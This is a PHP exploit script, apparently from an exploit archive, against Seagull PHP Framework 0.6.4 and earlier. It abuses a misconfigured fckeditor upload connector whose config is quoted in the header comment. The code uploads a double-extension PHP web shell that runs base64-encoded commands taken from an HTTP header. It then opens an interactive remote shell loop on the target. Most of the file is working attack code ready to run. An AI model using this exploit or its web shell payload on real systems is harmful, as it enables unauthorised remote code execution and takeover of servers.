seagull-upload.txt

`<?php  
  
/*  
------------------------------------------------------------------------  
Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit  
------------------------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://seagullproject.org/  
details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)  
  
[-] vulnerable code in /www/tinyfck/filemanager/connectors/php/config.php  
  
33. // SECURITY: You must explicitelly enable this "connector". (Set it to "true").  
34. $Config['Enabled'] = true ;  
35.   
36. // Path to user files relative to the document root.  
37. $Config['UserFilesPath'] = SGL_BASE_URL . '/images/' ;  
38.   
39. // Fill the following value it you prefer to specify the absolute path for the  
40. // user files directory. Usefull if you are using a virtual directory, symbolic  
41. // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.  
42. // Attention: The above 'UserFilesPath' must point to the same directory.  
43. $Config['UserFilesAbsolutePath'] = SGL_WEB_ROOT.'/images/';  
44.   
45. $Config['AllowedExtensions']['File'] = array() ;  
46. $Config['DeniedExtensions']['File'] = array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm', [...]  
47.   
48. $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;  
49. $Config['DeniedExtensions']['Image'] = array() ;  
50.   
51. $Config['AllowedExtensions']['Flash'] = array('swf','fla') ;  
52. $Config['DeniedExtensions']['Flash'] = array() ;  
53.   
54. $Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;  
55. $Config['DeniedExtensions']['Media'] = array() ;  
  
with a default configuration of this script, an attacker might be able to upload arbitrary  
files containing malicious PHP code due to multiple file extensions isn't properly checked  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
define(STDIN, fopen("php://stdin", "r"));  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
print "\n+--------------------------------------------------------------------+";  
print "\n| Seagull <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";  
print "\n+--------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /seagull/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$filename = md5(time()).".php.php4";  
$connector = "tinyfck/filemanager/connectors/php/connector.php";  
  
$payload = "--o0oOo0o\r\n";  
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n\r\n";  
$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";  
$payload .= "--o0oOo0o--\r\n";  
  
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
  
preg_match("/OnUploadCompleted\((.*),\"(.*)\"\)/i", http_send($host, $packet), $html);  
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");  
  
while(1)  
{  
print "\nseagull-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}images/File/{$html[2]} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$output = http_send($host, $packet);  
if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $output);  
print "\n{$shell[1]}";  
}  
else break;  
}  
  
?>  
`